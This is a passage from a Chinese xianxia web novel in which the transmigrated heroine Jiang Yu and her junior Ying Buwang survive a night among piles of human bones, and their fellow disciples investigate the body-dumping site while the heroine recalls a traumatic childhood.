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应不妄躺在一片泥泞之中,双眼紧紧闭着,面容朝上,脸上的血渍和泥水被雨水冲散了去,打湿了长睫,一眼望过去格外安详乖顺。
“应不妄。”姜瑜爬向应不妄,嘴里紧咬着字才勉强发出声响,“你醒醒。”
她用手摇了摇应不妄的胳膊,毫无反应。
一阵轰雷下,几道细闪再次袭之而来,短暂的光亮里,这才让姜瑜看得更加清晰——几块白骨堆垒在旁,在如墨色的夜里折射出为数不多的白。
姜瑜心下一惊,试图晃醒一旁不省人事的应不妄,再开口时,声音里已然不自觉的带起一丝哭腔:
“应不妄你醒醒,我求你了,求你了醒醒好不好,我们不找刘玉了,回屋里再去睡觉好不好,你不要吓我……”
随着姜瑜的轻晃,手边突然因晃动摩擦,而传出的一阵清脆声音——
她迟疑的向那边摸索着,指尖蹭到了什么东西,触手即光滑如玉石般透着凉意,随着银闪擦过夜空,她这才看清了手中所握的东西——竟是半截泛着白光的人骨!
姜瑜浑身一颤,几乎是本能地将白骨猛地甩出,指尖残留的触感仍让她脊背发凉。
“应、应不妄。”姜瑜吞了吞,此时的惊吓程度早已盖过了身体上带来的痛楚,她手抖的厉害,却还是伸上前去探了探他的鼻息。
万幸,他还活着。
姜瑜争坐起身,雨势愈来愈大,狂风卷携着骤雨,雨滴毫不留情的拍打在他们身上。
她缓了好一会,才从袖间抽出几道已经湿透了的黄符,符纸上的咒术早已被湿的不显踏原本的模样。
姜瑜看到这,心早已凉了半截。
不。
不对。
穿进来时间太长,让她差点忘了,她还有系统。
姜瑜眼眸亮了一瞬,旋即用湿透了的袖口,擦了擦脸上不知是雨还是泪的渍迹,她开口时声音难掩沙哑:“系统、系统你出来!”
“我死了无关紧要,应不妄不能死在这儿!”
“他若是死在这儿,你们这破剧情可一点也走不动了!他可是大反派,大boss,他戏份很多的,他不能死!”
【宿主,检测到您目前有只有一个剧情点,是否需要将其花费来修复您残缺的灵根?】
“一个剧情点?”
“老娘走半天剧情,几次三番的铤而走险,命差点撂半道,你告诉我才一个剧情点?”
【……】
姜瑜哑着嗓子一口气说完后,便大口喘着气,在一旁缓着劲儿,没一会儿她开口询问道:“来,你告诉我修复灵根有什么屁用?”
【检测到宿主情绪不稳,是否需要花费一个剧情点购买降火丸?】
姜瑜咬紧后槽牙。
冷嘲热讽你有一套,好样的,我争不过你。
“一个剧情点、带我、和应不妄、回听雨苑、我的屋里。”姜瑜忍着嗓子剧痛,一字一句道,“这个能明白吗?”
【宿主已消耗一个剧情点,本系统即将开启空间传送,请宿主做好准备!】
27. 噩梦。
系统声音刚落,一道白光骤现,迫使姜瑜伸出手指来遮挡住了双眼,再落下时,她与应不妄就已经到了听雨苑的屋内。
“给我搜仔细点!”赵清砚清晰的声音从窗外传来,伴随着脚步声由远及近,紧接着就是一阵叩响屋门的声音。
“姜姑娘,此次深夜打扰多有得罪,只是我阁殿院今日突遭贼人,劳烦姑娘让我等进屋照例搜查一番,以保各位来客的人身安全。”
……
姜瑜抬眼看向门口,又看向躺在地上不省人事且浑身泥泞的应不妄,并未开口答复门外的赵清砚。
“姜姑娘?”赵清砚见屋内没有声响,再次抬手时力道毫不收敛,她用力拍了拍屋门,在门外喊道,“姜瑜。”
“你再不开门就休怪我无礼硬闯了!”
……
依旧无人回应。
赵清砚拧紧眉毛,挽起袖口,漏出白皙的手腕,刚要用力,屋门却从内打开,她瞬间扑了空,踉跄几步,险些没摔倒在地。
姜瑜只穿了一身素白里衣,她微微侧了侧身,恰好错过赵清砚的迎面一扑,而后卸力靠在门框边上,漫不经心的说道:“原先怎么没发现,赵姑娘这么没耐心啊?”
“竟连等我起身的时间都没有。”
赵清砚稳住身型后瞪了姜瑜一眼,屋外雨下的大,豆大的雨滴溅落在地上发出声响。姜瑜这才看清面前之人,她头发和衣襟都湿着,活像个活的落汤鸡。
姜瑜没忍住嗤笑一声,她笑出第一声后,便不过多掩饰,索性直接当着赵清砚的面上笑了起来:“赵姑娘这是去哪儿了,怎得落得这副模样?”
“少废话!”赵清砚恼凶成怒,脸上瞬间染起一抹绯红,未有过多言语,抬脚便要往屋内迈去,却被姜瑜先一步拦在身前。
“姑娘这是干什么?”姜瑜敛了情绪,眉梢微挑,面上冷了几分,“你就是这样对待客人的?”
“亦或是,你们紫星阁的弟子就都是这样粗鄙不堪之人。”
“姜瑜你现在最好认清楚,现在是在谁的地盘。”赵清砚也不退步,指尖的灵力已然聚起,蓄势待发。
“赵清砚你现在也最好认清楚,当时你是怎么沦为我的手下败将的。”姜瑜懒懒的掀了掀眼,语气冷了几分,
“还是说,你忘了刘长老那日是怎么与我们青冥宗说的,又是如何嘱托你善客之道的?”
赵清砚被姜瑜话一噎,自觉理亏便没再回怼,冷静下来,回应道:“不过是每个房间都要例行公事而已,你们青冥宗若想搞特殊,去跟长老说一遍就是。”
“哎呀,瞧我这记性,差点忘了。”她话锋一转,不怀好意的冲姜瑜微微一笑,“现在我是受掌门之令来彻查行盗窃苟且之人,你拦不住的。”
最后一句赵清砚说的及轻,话落到姜瑜耳边却让她不觉的吞了吞。
“倘若姜姑娘光明磊落,并无做对不起我紫星阁之事,此刻应当识趣些让开。”话落,赵清砚冷哼一声,刻意的撞了一下姜瑜的一侧肩,迈进了屋内。
屋内的陈设如故,案台前并未染起烛火,甚至床榻上的被褥也不过是刚被人掀开的模样,赵清砚左右看了看,猛地转身,警惕的接下姜瑜飞来的符纸。
“你果然居心叵...”测。
“干身符,劝你快些将衣服洪干,别到时候冻感冒了,再莫名其妙的怪在我身上。”姜瑜只是微微侧过身,整个身型依旧靠在门框一边。
夜色正浓,赵清砚看不清她的神情,听到这话后明显一愣,最终干巴巴的道了一声谢,也顾不上搜查听雨苑其它弟子的房间,便匆匆离开了听雨苑。
屋外的冷气吹进来,姜瑜目送赵清砚带人离去,直到她的背影消失于自己眼前。
她这才全身卸了力,缓缓顺着门框滑落蹲下,此刻她全身抖的厉害,方才情急之下,她在系统那抵押了几个剧情点,向它要了几道符纸——
一道是瞬身符,将应不妄送回他自己屋内的。另两道是净身符和干身符,将自己收拾了个干净。
系统秉持着买三送二的“活动”,它额外赠了两道干身符,姜瑜一张给了应不妄,另一张,则给了赵清砚。
而赵清砚则急于寻下姜瑜的破绽,以至于忽略了她胳腕处用袖口遮住的大半擦伤。
……
姜瑜缓了好一会才堪堪扶着一旁站起身来,她握着门框的手抖得愈加厉害,嘴唇泛白,眉头紧紧锁着,好一会才迈出一步,走向廊的另一侧。
在抵达应不妄门前时,她缓缓抬起右手,还未推开门扇,只身不稳向后倒去。
“师姐!”沈晚宁听到了动静,起身出门探查时,便恰巧见姜瑜一身素白里衣,顶着风雨,摇摇欲坠的走向应不妄门前的情形。
好在,姜瑜倒下前,她瞬身到了她身边。意识混沌前,姜瑜听到她说:“师姐,别怕,晚宁在。”
“晚宁...去救师弟。”姜瑜皱着的眉从没舒展开,她用微弱的一丝气息说着,话毕眼下却已撑不住,眼前一黑,眼角处擦过一滴泪水。
*
姜瑜做噩梦了。
她自从来到这个世界,很少做梦。
也很少能梦到现实世界里,她认为她已经忘记的事情。
“喝喝喝,一天天就知道喝!你看这家里还像什么样子!”熟悉的妇女面孔映现在姜瑜眼前。
那女人顶着一头糟乱的头发,将男人的酒瓶一把夺过,摔在地上。
酒瓶摔倒地面,迸溅的玻璃碎片划破了小姜瑜的脸,留了好多血。
“你怎么敢说老子的!”男人一把将妇女推到在地,女人没稳住身型,一头磕到茶几桌角,晕了过去。
男人喝醉了,单手指着不省人事的妇女,骂道:“要不是你!小贺怎么会死!”
姜贺——姜瑜的弟弟,不过还是个躺在婴儿车的年纪,因为女人的疏忽,被车撞,死了。
小姜瑜捂着脸上一块火辣疼的伤口,哭的撕心裂肺,血水与泪水交织,糊的满脸都是。
她还小,她不知道什么是生离,不知道什么是死别。她只知道,那天后她再也见不到妈妈了,也没再见过弟弟了。
而她的爸爸,被一群人带走,也没再见过了。
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>后来她就跟着姥姥住,姥姥将她养在农村,直到有一天村里来人接她放学,跟她说,她的姥姥喝药自尽了。
他们都说,姥姥丈夫早逝,自己一个人将两个孩子扶养长大,女儿死了,儿子是个傻的。
这么失败的人生,根本没脸继续活在这个世上。
可姜瑜知道,姥姥不会自己服药,更不会抛下自己,因为那天上学前,姥姥还信誓旦旦的说要给她买校外那家最好吃的烤串。
姥姥食言了。
从那之后姜瑜知道了什么是死亡。
死亡,是再也见不到、摸不到、碰不到。
也许曾在无数个日日夜夜里,她有想过去找她的姥姥,也正是无数个日日夜夜,她靠着姥姥临走前唯一的心愿,好好的活了下去。
……
活下去。
可她真的不想活了。
*
姜瑜额前冒了细密的薄汗,她皱紧的眉头从昏迷那一刻起,便没再松开过。
沈晚宁也皱巴着脸,伸手上前抚了抚她的眉,试图将它平抚下去。
“沈师妹。”裴恒之迈入屋内,随后转身关上门扇,他问道,“姜瑜师妹她现下如何了。”
沈晚宁摇了摇头,俯下身子替姜瑜掖了掖被角,才开口说道:“不太好,明明是多处皮外擦伤,本来并无大碍,可不知师姐为何许久都未曾醒过来。”
“应师兄呢,他的情况如何了?”
裴恒之也摇了摇头,他叹气道:“我竟不知师弟遭遇了什么,他的修为直跌一个层次,到了元婴中期。”
“修为倒退了整整三年。”
“看来想要弄清楚这些,只能等他们醒来了。”沈晚宁低垂着眼,眼睫在烛灯的映照下,徒增一股忧伤。她又看了看一旁安详的躺在床榻上的姜瑜,满脸担忧。
“此事先不要让紫星阁任何人知道。”裴恒之皱眉突然想到了什么,旋即开口道,“在他们醒来之前,敌明我暗,万不可虚张声势。”
“嗯。”沈晚宁点头。
“不要,不是我,你们走开!”姜瑜蓦地睁开眼,眼底尽显惊恐与厌恶。
沈晚宁忙上前安抚,转头点头示意裴恒,待他离去后,她才伸出手去抚上姜瑜,却被姜瑜一把躲过。
只见她猛地坐起身来,卷起被褥的一角,缩在床榻一边上。
“快走开。”姜瑜压着嗓音,声音逐渐归于平静,“我有姥姥,我不是没人要的孩子。”
“我不是...”
“师姐,你怎么了?”沈晚宁凑上前握住姜瑜的手,安抚道,“是我啊,我是晚宁。”
“晚...晚宁。”姜瑜意识逐渐回笼,这才看清面前紧紧握着她手的人,眼角顿感酸涩,眼眶中灌满了泪水。
沈晚宁见状,忙起身抱住她,轻拍后背安慰到:“师姐不怕,晚宁在,晚宁会一直在。”
姜瑜这才放了情绪,失声泣出声来。
这是沈晚宁第一次见到这样的师姐,她心中不免生出一丝心疼,她道:“谁欺负师姐了,师姐告诉晚宁,我到时定加倍替您讨回来。”
28. 人骨 抛尸
*
应不妄寝居。
开门声传入耳中,裴恒之刚踏入屋内,在他毫无防备的情况下,脖颈处被抵着一道尖锐物,紧接着便是应不妄一副冷峻的面容浮在眼前。
他眼中不辨神色,有那么一瞬间,裴恒之有一种错觉,他觉得面前站着的人不是往前那位嘴毒的少年师弟。
“应师弟。”裴恒之张口喊道,此时外面顺势亮起一道白闪,照亮了两人彼此的面孔,他盯着应不妄没再多有言语。
直到等眼前之人看清他的模样后,应不妄手中先前摔坏的瓷器这才从中脱落。
“是你。”应不妄哑着嗓子,他抬眼望了一眼门外,没再多言,径自坐回了桌前,给自己倒了一盏茶。
裴恒之紧随其后坐在他对面,看着他一盏凉茶入口后,才犹豫开口道:“你的修为为何...”
“裴师兄。”应不妄打断他,在张口时声音已恢复如初,“有些事情,我不想说。”
他不想说。
所以别打听。
“好。”裴恒之听懂了他的言外之意,慢慢的扯出一抹笑意,旋即转移道,“那你总该与我讲讲,姜师妹跟你都发生了什么,为何会弄成这副样子吧?”
“师姐呢?”应不妄没有正面回答,只问道。
“她现在由沈师妹顾着,也刚醒过来没多久。”裴恒之耐心的跟他解释着,“看样子是受了点惊吓,现应已无大碍。”
“我知道的不多。”应不妄手指揣摩着手中已经空了的茶杯,续而说道,“具体的,你应该去问师姐。”
*
姜瑜哭累了,她此刻正趴在沈晚宁的肩侧,沉默的靠在那里。
她们两个谁也没说话,只有沈晚宁的手还在不断轻轻拍打着姜瑜的背,无声的安慰着她。
门被叩响时,姜瑜早已将情绪敛了去,她与沈晚宁分开后便胡乱的擦了擦脸上的泪渍,然后抬眼与沈晚宁点了点头。
裴恒之先一步迈入了屋内,应不妄犹豫片刻紧随其后,屋门被关上时,他们身上带了些冷气,侵入了这件暖和的屋子。
姜瑜这才抬眼,她望向裴恒之身后的人,上下扫视一遍后,才张嘴问道:“师弟你可有无大碍?”
“还没死。”应不妄回,他好笑道,“这不是好好的站着呢吗?”
“……”
裴恒之轻咳一声,几步上前与沈晚宁互相点头示意后,才开口道:
“姜师妹,你跟应师弟都遭到了什么,怎么才半夜不见,就变成这副模样了?”
姜瑜这才收回目光,她低垂着眼,长睫在烛火的映照下给眼底染上了一抹阴影。
她此刻浑身无力,连丹田内的灵力也调动不出,她抬起自己的腿缓缓挪至床边,期间开口说道:“我怀疑紫星阁中有内细。”
“本想趁着夜黑,我与师弟同去紫星阁殿院探上一探,去寻刘玉尽可能会待的房间。”
“万没想到会碰上罗淮阳。”
“师姐碰上紫星阁的掌门了?”沈晚宁听后,便惊讶顺嘴问出,见姜瑜对她肯定般点点头后,她脸上的讶异之色更甚。
“怎么了?”裴恒之见状,顺势问道,“可有什么不妥?”
沈晚宁摇了摇头,旋即说道:“也是好多年前的事了,我爹曾有幸受过紫星阁掌门之恩。”
“自那以后,她与我父亲可谓是知音难求、无话不谈。因而时常会有书信来往,不过有一年紫星阁掌门自称要潜心修炼、避世修俗,我父亲寄去的书信,便再也没了回音。”
“后来父亲知道其中内情后,便再也没寄去过信件,断了联系。”
姜瑜听后顺势问道:“那你可见过罗淮阳,或者说...她可曾见过你?”
沈晚宁摇摇头,说道:“罗淮阳掌门只在我很小时到访过府上,这些也都是后来年长一些后,听我父亲讲与我听的。”
“所以我此番来紫星阁,倒真没想到罗淮阳掌门也会在此,便就没想着去拜访这位前辈。”
姜瑜听后点点头,她在床边坐着,再度将视线落在一旁自始至终就并未有过多言语的应不妄身上——
此刻屋门被关着,从进屋后,他便就一直靠在门上。
“罗淮阳见我们行事鬼祟,以为我们是盗贼,掌中一挥,那灵气追了我们一路,直向南边的竹林深处。”姜瑜低头轻轻笑了一声。
“我迫不得已便拿着符纸挡下一击,可因冲击巨大,我跟师弟都受了伤。”
“再然后...”姜瑜顿了顿,再抬眼时眼底更像是泛上了一丝红晕,她手下紧紧握着被褥的一角,指尖因用力而泛着白,
“赵清砚就追来了,情急之下我们滚到了竹坡底,昏了头,再醒过来时...”
“再醒过来时,我们躺在白骨堆里,师弟重伤,昏迷不醒。”
这是她长这么大以来,第一次与真正的人骨近距离的接触。
更何况是在雷闪交加的雨夜。
“那里的白骨非一日所成。”姜瑜转而说道,她抬手穿上鞋靴,沈晚宁见状忙上前扶住她。
她借着沈晚宁的力道站起身来,腿上传来的痛楚让她不由得踉跄了一步,待她站定后便移步至桌案前,随意抽出一道宣纸,简略的画了几道粗线。
“这里,是紫星阁大门。”姜瑜顺势从中画了个圈,待裴恒之与沈晚宁围上来后,她掀眼只撇了一眼站在原地不动的应不妄,继续说道,
“顺着这条线走,到这里有一道缓坡,这坡虽缓,但很深。”
“下面便是堆积如山的人骨。”
说到这时,姜瑜的手开始控制不住的抖着,她忙丢下笔,将手藏于袖中,强装镇定的说道:
“这竹林本就茂密,据我观察此处百里皆是一片荒无人烟之地,若非人为,又从何而来这么多白骨?”
“师姐的意思是说...”沈晚宁犹豫提及此便顿住没再往下说。
“是紫星阁内的人,将人杀害后抛尸于此的。”裴恒之接上,此刻的他皱紧了眉头,“姜瑜他们找到了凶手的抛尸点。”
“明日一早我与沈师妹且去那边探查一番,你与应师弟在听雨苑好生安歇。”
“万事小心。”姜瑜点了点头,只嘱托道。
裴恒之也点点头,跟着沈晚宁先后离开了屋内,只剩应不妄还在那边站着未动。
姜瑜倒了一杯茶,自顾自的喝着,背对着他安静了好一会才开口道
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:“你这是在与我闹气?”
应不妄听后,懒散的掀了掀眼皮,他这才看向桌边正在搂着茶壶喝茶的姜瑜,眼神停顿片刻后,又再次收回。
“没有。”他声音及轻,又或许是很长一段时间没有说话,尾音带了点沙哑。
“哦。”姜瑜端着茶杯往嘴里送时,听到这句话唇边不自觉的弯了弯,一口凉茶入喉,她轻撇了撇眉,“那你是不准备回去休息了,在这儿守着我是吗?”
“……”应不妄微微抬头,几步走至姜瑜身侧,手掌往桌面上一撑发出声响,他低着头,从这个方向看过去,只能见到她头顶上还未梳戴整齐的乌黑墨发。
姜瑜不动声色的拿起一旁别的茶杯,再次从茶壶里倒了一杯凉茶,茶满之后便伸手递给了他。
应不妄只把目光从姜瑜糟乱的墨发上,转移到她递过来的茶杯上,抿了抿干巴的嘴唇,并未接过来,只说道:“你方才讲的时候,没说你是怎么把我带回听雨苑的。”
姜瑜递过茶杯的手端在半空,她听后将手伸了回去,放在自己面前,而后开口回道:“这有什么好说的。”
“无非就是用了瞬身符将你我送了回去呗,话说你修为不比我差,为何久久昏迷不醒的是你?”
应不妄喉咙一滚,开口说道:“有可能是我先前中了咒术,身体还没恢复好的原因。”
“师弟。”姜瑜温声叫了他一声,旋即说道,“你有事瞒着我,我知道你不愿说,所以我不会逼问你,但我不希望最后是从别人嘴里知道的。”
“所以,你明白我的意思吗?”
“……”
应不妄安静的坐到姜瑜身侧,从她手中一把夺过方才要递于他的茶杯,一口凉茶入肚,他不禁眯了眯眼,茶杯在被放回桌上时碰撞发出声响。
“我本就没瞒着你。”
“当初无境一战,是你没有问。”
姜瑜眉梢微挑,面上颇有些意外,她重复着问道:“无境一战,我没有问?”
是他不想说吧?
好吧,姑且当是她没有追问。
“无境我用了...”应不妄话到嘴边又噎了回去,片刻后他才开口,“用了禁术,必然会遭到反噬,轻则修为倒退几十年,重则烟消云散。”
姜瑜听到这,手指微不可查的颤了颤,原来那鬼魅王所言不假,所以当时他是奔着同归于尽的想法,才迫不得已用的禁术。
“我自小命就大。”应不妄说到这,嘴角上扬勾起一抹自嘲的笑意,说道,
“打小运气就好,不过修为倒退了三年而已,所以师姐不必过于忧心,我现在应是降到与你同一阶了。”
……
她是该高兴还是该庆幸?
“沈晚宁竟也不知道为你热一壶茶,这茶凉的还怎么喝?”应不妄话锋一转,随即皱起了眉。
姜瑜听后嗤笑出声来,将茶杯从他手上接过,说道:“方才我就喝着这茶凉,所以没忍住想给你也尝尝。”
“师姐是故意的?”应不妄反问。
姜瑜笑的更大声了,她狡辩道:“你不觉得很应景吗?”
外面狂风与骤雨依旧,屋内的两人却因解开误会而变得温暖……
29. 残灵
*
翌日清晨,沈晚宁因着昨夜裴恒之说要与她一同去竹林探查一番,起了一个大早,她坐在铜镜前满意的看着自己简单扎的头发,在镜前笑了笑。
再推开房门师时,屋外晴阳高悬,属于昨夜骤雨后的宁静才缓慢袭来,房梁上的积水还在有节奏的往下落,拍打在地面上发出清脆的音响。
沈晚宁闭着眼深吸了一口清列潮湿的泥土气息,再睁眼时,裴恒之已然走到了她的身侧。
她眉眼弯弯,笑盈盈的向裴恒之打了个招呼,她说道:“裴师兄早上好!”
裴恒之微微点了点头,嘴边也不自觉的被感染出了一抹笑意,他张口回道:“晚宁师妹早好。”
“我们现在就出发吗?”沈晚宁问。
“嗯。”裴恒之收回放在她身上的目光,抬起头往听雨苑院口望去,沉思片刻后开口说道,“此事不能耽搁,多拖一天,说不定就会多一个人丧命于此。”
“好。”沈晚宁赞同的点点头,顺势往前走了两步,说,“那我们出发吧。”
“师妹。”裴恒之顺势自然的伸出手拉住了沈晚宁的胳膊,等他反应过来后才慌忙松开。
只听他磕绊的开口道,“这、这是我一早从膳堂拿的点心,路上难免会饿,师妹拿着,以备不时之需。”
沈晚宁扭过头后,低垂着眼看向他手中攥巴着的糕点袋子,而后再抬眼时便看向耳尖早已泛起一阵红晕的裴恒之,嘴边不自觉地弯了弯。
“那,多谢师兄了。”她脸上依旧笑盈盈地,待一手接过裴恒之递来的糕点,指尖触碰到他掌心时,一抹凉意从中蔓延开来,直挠他心头。
*
竹林深处,密布坏绕。
他们根据姜瑜的路线一直往南,再往前走,便有一群穿着紫色弟子服的人将前路团团围住。
裴恒之先是向前探查,走到近处时,彩虹先一步拦住了他的去路,她抱拳作礼,说道:“裴少侠,不可再往前了。”
裴恒之抬眼看向彩虹,装作不知,也作揖回道:“不知这里是发生了什么,你们为何要将此围住?”
彩虹向后撇了一眼,旋即皱起眉毛,回道:
“裴少侠有所不知,昨日夜里竟有胆儿肥的来行刺掌门大人,被我们掌门一路逼退到这茂密绿竹之中,待赵师姐带人赶过来的时候,就没了影。”
“哦?”沈晚宁先一步上前,扯起一抹从容淡定的笑意,说道,“那这人胆子可真够肥的,现下你们可有抓获那行刺之人?”
彩虹这才分神撇了一眼沈晚宁,她一身干净利落,随意扎的头发也恰到好处的修饰了她的轮廓,就连露出的笑容,都是从容得体的大家闺秀模样。
“没有。”她摇了摇头,以作回应,旋即又抬眼看向裴恒之,说道,“昨日之雨太过强势,很多痕迹都不着边际,由此彻查下去倒还真是个麻烦。”
“这有何难?”沈晚宁不知道从哪里掏出一套符纸,在他们眼前摆了摆,“我的追踪符可不是小孩子家家闹着玩的,需要帮忙吗姑娘?”
彩虹扭头看了看沈晚宁,又看了看裴恒之,直到听见裴恒之颇为肯定的与她保证道:“我师妹的追踪能力,的确不容小觑。”
“罢了。”彩虹侧过身子,给他们让出一条路,开口说道,“左右你们也是长老邀来帮我紫星阁寻盗贼的,想必盗窃玉笛的人与这刺客脱不了干系,各位请自便吧。”
裴恒之握着手中佩剑,从彩虹让出的空隙中走过,迈入竹林深处时还不忘说道:“我看说不准。”
沈晚宁抬手谢过彩虹之后,也慢步跟了上去。
深竹之中,周围皆是一遭探寻痕迹的紫星阁紫衣弟子,她与裴恒之根据姜瑜所画,几步向前搜寻着。
沈晚宁眼尖,从一道断竹下发现了一张符纸残张,她蹲下身子捏起那片碎纸,朝身后的裴恒之说道:“想必这就是师姐挡下罗掌门一击的符纸。”
“这纸看似与平常纸张并无不同,也只有我们青冥宗的内门弟子方才能看出,这是我宗独创的黄色符纸。”
裴恒之抬眼看过去,思索片刻后,弯身从另一侧也捡到了一张残片,他捏起纸张的瞬间便已掐咒将其燃尽,随后说道:“不能让紫星阁的人发现。”
沈晚宁微微点了点头,指尖聚咒,这张残页刚被火焰燃尽后,不远处就传来一道女声:“听彩虹说她将你们放进来了,我才顺路找了一道,原来在这儿等着我呢?”
是赵清砚。
她走近后低头扫视了一眼蹲在地上的沈晚宁,随后阴阳怪气道:“不知二位在这里鬼鬼祟祟的,干什么呢。”
“可否带我一起?”
沈晚宁拍了拍手,旋即撑着膝盖站起身来,与赵清砚对视一眼,也没搭理她,自顾自的往前走了两步才道:“什么事都要跟我们一起,你们紫星阁是没人了吗?”
“整日派着阁内的大师姐跟着我们算什么事,我寻思我们青冥宗也没这么大架子啊。”
“你说呢?”
“紫星阁的大师姐。”她并未转身,只侧了侧头,故意问道。
话落,赵清砚抬起眼皮,不轻不重的瞥向沈晚宁,片刻她轻笑出声,说道:“哪里,既然沈姑娘不喜我跟着,那我就不跟着,两位自便。”
“这样最好。”沈晚宁回道,她不喜欢赵清砚,无论是第一次见到她,亦或是看见她与师姐大打出手,这个人总会莫名给她一种很不舒服的感觉。
*
两人一前一后的往南又走了一段距离,直到看不见紫星阁那群难缠的弟子后才放下戒心。
沈晚宁先一步幻化出一副黄纸,随着指尖灵力而聚,灵气随着符纸四散,探寻着周围气息。
人死后若非将其入土为安,都会有残灵被困于残骨之中,不灭不散,不死不生。
“可有收获?”待她收回一道灵气后,一旁的裴恒之先开口问道。
她缓缓的睁开眼,冲他摇了摇头,旋即回道:“我探寻不到那些残灵的气息。”
“许是不在这周围,又或是真的是因为昨日夜里下的雨太大,冲散了不少残骨,这才导致我寻不到残灵的气息。”
“还有一种可能。”裴恒之像是突然想到了什么,他扭头看向一望无际的竹林,“从一开始,那些残骨中就没有残灵
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。”
“你是说?”沈晚宁幡然醒悟。
“姜师妹所看到的残骨,很有可能一开始就被埋入土中,是常年风雨泥泞才将其冲出来的。”裴恒之答道。
“那这儿为何埋着这么多人骨,既然是有意埋入土中的,也并不排除埋尸之人知道残灵一事,想来不过是为了遮掩肮脏龌龊手段的方式而已。”沈晚宁笃定道,
“这么说,凶手并非一人。”
裴恒之点点头,旋即转身看向沈晚宁,开口说道:“既然我们已经知道这些,那其他的等我们回听雨苑再另作打算。”
裴恒之抬脚刚要离开,却被沈晚宁一把拉住,回头时只见她微微摇了摇头,轻言道:“师兄是要回去上报给紫星阁长老吗?”
“这是他们紫星阁的事,而且就凭我们现在在他们的地盘,不仅行动不便还会更引人怀疑,查不出什么的。”裴恒之回道。
“师兄就没想过,多人作案,很有可能会有哪苑的长老在背后指示,敌暗我明,倒不如直接让她们都发现的好。”沈晚宁顺势拉上裴恒之的手腕,纵身一跃,带着他往侧方斜坡飞去。
沈晚宁虽没探到残灵,但昨日夜里她可将师姐所画的线路记得一清二楚。
依师姐的画工来看,裴恒之认不出纸上的线路,可不代表她也认不出。
她可是听过师姐亲授阵法课的。
*
待他们站定后,不出所料,入目皆是一片人骨,少说几十,再细数都要过百了。
沈晚宁向后拉了拉裴恒之的胳膊,将他拽在身后,微微侧了侧头,给他使了个眼色。
裴恒之随着她的视线看过去,不出所料,他们身后有一道黑影紧紧跟着,那人似乎感受到了他投来的目光,慌忙躲至茂密的竹林后。
他刚要开口,却见沈晚宁先一步将手指抵在唇中,悄无声息的对他做了个噤声的手势,再次开口时声音刻意提高了几分,“师兄,你说这里怎么这么多人骨哇!”
裴恒之听后,眉梢微挑,默默的看着眼前的沈晚宁继续说着:“这荒郊野岭、荒无人烟的地方,往北还靠着赫赫有名的紫星阁一派,究竟是何人胆敢在此伤人行凶?”
话落,沈晚宁拿胳膊肘了裴恒之一下,四目相对,后者则干咳了一声,配合道:“简直欺人太甚!”
“我这就上报给刘长老,给这数以百计的无故亡灵一个交代!”
裴恒之话刚一落,就见沈晚宁转了个身,她说:“诶?”
“好巧,常少侠竟也在此啊,刚好我们一同回紫星阁上报给刘长老吧!”
他顺着沈晚宁的视线看过去,刚好与刚偷听完准备要溜之大吉的常远四目相视一眼。
两人自上次闹别扭之后,谁也没再主动开口说过话,甚至大老远各自见了彼此,都会默契的绕个原路。
常远最先收回视线,尴尬的轻咳一声,用着蹩脚的理由解释道:“好巧,我随便逛逛,没想到能碰到你们,哈哈。”
“真巧,那救一同回去禀报刘长老吧。”沈晚宁歪了歪头,先是看着常远,随后将视线转移到裴恒之身上,问道,“师兄觉得呢呢?”
30. 紫流笛
*
裴恒之他们赶回紫星阁时,正值正午,姜瑜他们刚从膳房拿了些吃食回到听雨苑寝居。
“你们来了啊,此番可有什么收获?”姜瑜顺手拿起桌上的一块米糕填入嘴里,她屋门大开,今日阳光正好,将屋内照得暖洋洋的。
沈晚宁先一步上前坐在姜瑜身旁,挽起她的胳膊,说道:“我使了点法子,师姐不必忧心,想必此时他们紫星阁全门派都知道竹深残骨之事,忙的焦头烂额了。”
姜瑜抬眼上下扫视沈晚宁,又名往嘴里送了一口吃食,开口说道:“干的不错嘛,今晚奖励你一个大鸡腿吃。”
沈晚宁嘿嘿一笑,伸出食指摆在她面前,而后开口说道:“我想要一个鸭腿。”
“嗯。”姜瑜点点头,“那就奖励大鸭腿。”
裴恒之在一旁轻咳了一声,他这才四处张望了一番,问道:“应师弟呢,他为何没在?”
“我让师弟去帮我去寻一些未画过符咒的符纸,前些日子的都湿透了,这会儿算算时间应当快来了。”姜瑜话刚一落,应不妄便臭着个脸从苑外赶来。
待他站定于姜瑜身侧后,甩手将一小摞黄色符纸放在桌上,没好气道:“你要的符纸。”
姜瑜这才不紧不慢的抬手将桌上的符纸收回己囊中,而后她拿起桌上一道甜食,抬手递给他时,才开口问道:“可是他们哪些人又惹你不快了?”
应不妄低眼望向姜瑜手中的甜食,直到听见她再次开口说:“甜而不腻,我特意为你准备的。”
他这才从姜瑜手中接过。
姜瑜满意的轻扯了扯嘴角,而后在屋内扫视一眼,起身把屋门关了个严实,这才正色道:
“之前我就对紫星阁一直存有所怀疑,在沧南时我与师弟遭遇了一场行杀,这个都知道,暂且不追究他们的行事动机。”
她顺势走到应不妄身前,拉着他一同入坐,随后说道:“此前我一直搞不明白为何事事都会如此赶巧。”
“直到后来我去找当日负责维护会比秩序的长老那里,去抄录了一份当日的参赛单册,发现最一开始与晚宁比试的并非刘玉。”
“是掌中孙氏,孙武。”姜瑜说及此,停顿片刻,在场的各位听到这眼底皆闪过一丝凝重,她抬手往嘴里送了一口茶水,才继续说道:
“我也查了,会比前一晚孙武还在与他昔日好友探讨灵力术法,激动的彻夜难眠,到了会比当日孙武却莫名失踪。”
“他不在,这才临时换了刘玉。”
“现在刘玉也不见了。”沈晚宁接着说道,她眉头皱起,“师姐,照你这么说,这一切貌似都是冲着我们来的?”
“更准确来说,是冲着师姐你。”
姜瑜冲沈晚宁弯唇一笑,以表安慰,随后故作轻松的说道:“我常年在青冥宗潜心修炼,哪来的这么多仇家来处心积虑的对付我?”
“不过,我听刘苏叶说过,我父亲与她和罗淮阳是旧交,这样想来我父亲或许曾在紫星阁呆过一段时日。”
“至于他招惹了什么人,我自然是不知的,我想,老一辈的恩恩怨怨还得让老一辈来说与我们听。”
*
凝雪苑,刘苏叶正惬意的拿着木勺为她院中的花草浇着水,只听院外一阵吵闹。
“不能进!刘长老此时正在苑中休息,不可擅闯凝雪苑,打扰她老人家!”
“我们这是有要事要与刘长老商议,你们紫星阁还要不要让我们帮忙找玉笛啦?”
沈晚宁先是冲锋上前,与今日值守在凝雪苑外的女弟子较量起来。
裴恒之则双手背在身后,默默掐起一道术法,随着灵力运转,那名紫星阁弟子脚下踉跄一步,沈晚宁借机窜了进去。
她连忙往院内赶去,一个瞬身来到了刘苏叶面前。
